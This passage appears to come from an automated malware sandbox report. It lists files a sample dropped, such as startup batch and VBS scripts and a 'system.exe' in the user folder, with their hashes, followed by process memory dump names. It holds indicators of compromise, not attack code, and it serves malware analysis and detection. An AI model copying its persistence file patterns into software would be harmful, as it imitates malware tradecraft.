b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

SHA512
f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
1KB

MD5
163e14e51fd8b0531d78be5d1545e7ba

SHA1
5a7c318d27842573a197b62afd0ae28307cc63b5

SHA256
327322c1f043991fd9532975c6a07ddcdd95670ffe853c5ecc4421dc8ba96cc3

SHA512
0deaf77247da2d14df6eee4b4a1dbc0c0834e15d64c81cade859979be644d0e93fa90749839a64d27c8b6322572f6789e916864dfc3372e57a5c56e87acff9e7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9752b0fc47d8890f392600c41e5845e2

SHA1
fc4946a878325697f2c7675295c7c7fcc0ef19d3

SHA256
e158f8b52ebef42b44bbf55a842205d5d0d4f1f74f7b1c632a4cfb6207b9c537

SHA512
e578e85e9e454d6ee65254e3901d12bfc340309c0c8832b1fd4894f48dd967b81318e7d5d9d035731d45d8a286d41a272514d213a3d4d860da23e89c4dcb7804

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
aa4f31835d07347297d35862c9045f4a

SHA1
83e728008935d30f98e5480fba4fbccf10cefb05

SHA256
99c83bc5c531e49d4240700142f3425aba74e18ebcc23556be32238ffde9cce0

SHA512
ec3a4bee8335007b8753ae8ac42287f2b3bcbb258f7fc3fb15c9f8d3e611cb9bf6ae2d3034953286a34f753e9ec33f7495e064bab0e8c7fcedd75d6e5eb66629

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
8cb7f4b4ab204cacd1af6b29c2a2042c

SHA1
244540c38e33eac05826d54282a0bfa60340d6a1

SHA256
4994013dabe4f131d401879278eee147add6349124ea6452358dca7e2344c7a6

SHA512
7651cb6863a425840db610253151e271d3e8da26a8c633ce484247266fa226792ecb84b9578df3ab17fef84a5dfcad417b63a7df59c9650a907e08d59b91dd6e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
fb9fada5651a2593ce0268bd1ee523a6

SHA1
870a5771f5033c5a7cc418701790bf1dc139383d

SHA256
292dffc35560c53f5e8c2c5fc5345ecef3bcda441ac4226dc953d16ed1d1955b

SHA512
310746aec847ec95c5ce9b2ef05ef95b9a93ac7b00839becd742f8a5191172d248cd6ef06a96c32f3dea005263c0d81b01b126fdd47c033930f5ed1af0192a97

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fat4lphs.fvh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_14.bat

Filesize
410KB

MD5
d87efb4cf8da07e1956944f23313bb5b

SHA1
929203873eaf41e02377a26e1ef4db8a88d37696

SHA256
f3d0b86b5b93ff36ccb01f326eae7b612a3016c6d570478de2211d01d2e39cbd

SHA512
d726064d2833f4ee4a52dc85515f6dd471e72acd53d2576916313a0aaa224e199ba56cdf6fbd5fe4b21be62ab38779adc1b977b333971f160ac8cf3e26ba952a

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_14.vbs

Filesize
123B

MD5
e4bdfeebf465782e090f9b7a8547d3e0

SHA1
be7e43eec1644a34b9d4a8af7aa8b582a2b61c12

SHA256
569eab7abfc4d5b30f6699d2a2f9e692094478698ba09db84c7ed0f7927b9fc9

SHA512
46b5ca15b7ac1ba45844a6b29f0c22be3fb6b6c4747a16b7d81c1f8fc9ec043b0e12a1338ba309f00bf27a9e5709d32a9f61bcac988b207cdcc2a3972f224a08

Download Submit
C:\Users\Admin\system.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
memory/772-107-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/960-109-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/1064-100-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/1092-102-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/1140-99-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/1248-106-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/1496-111-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/1500-53-0x000001821EE30000-0x000001821EE4A000-memory.dmp

Filesize
104KB

Download
memory/1500-206-0x000001821EE60000-0x000001821EE6C000-memory.dmp

Filesize
48KB

Download
memory/1652-104-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/1756-101-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/2036-30-0x00007FFB2B770000-0x00007FFB2C232000-memory.dmp

Filesize
10.8MB

Download
memory/2036-27-0x00007FFB2B770000-0x00007FFB2C232000-memory.dmp

Filesize
10.8MB

Download
memory/2036-26-0x00007FFB2B770000-0x00007FFB2C232000-memory.dmp

Filesize
10.8MB

Download
memory/2036-25-0x00007FFB2B770000-0x00007FFB2C232000-memory.dmp

Filesize
10.8MB

Download
memory/2056-103-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/2288-98-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/2364-105-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/2548-108-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/2660-112-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/2808-47-0x00007FFB2B770000-0x00007FFB2C232000-memory.dmp

Filesize
10.8MB

Download
memory/2808-0-0x00007FFB2B773000-0x00007FFB2B775000-memory.dmp

Filesize
8KB

Download
memory/2808-15-0x000001ACF85F0000-0x000001ACF8640000-memory.dmp

Filesize
320KB

Download
memory/2808-14-0x000001ACF8490000-0x000001ACF8498000-memory.dmp

Filesize
32KB

Download
memory/2808-13-0x00007FFB2B770000-0x00007FFB2C232000-memory.dmp

Filesize
10.8MB

Download
memory/2808-12-0x00007FFB2B770000-0x00007FFB2C232000-memory.dmp

Filesize
10.8MB

Download
memory/2808-11-0x000001ACF8640000-0x000001ACF8686000-memory.dmp

Filesize
280KB

Download
memory/2808-10-0x00007FFB2B770000-0x00007FFB2C232000-memory.dmp

Filesize
10.8MB

Download
memory/2808-9-0x000001ACF8460000-0x000001ACF8482000-memory.dmp

Filesize
136KB

Download
memory/3416-67-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/3416-48-0x0000000002040000-0x000000000206A000-memory.dmp

Filesize
168KB

Download
memory/3544-97-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download
memory/4512-110-0x00007FFB0C910000-0x00007FFB0C920000-memory.dmp

Filesize
64KB

Download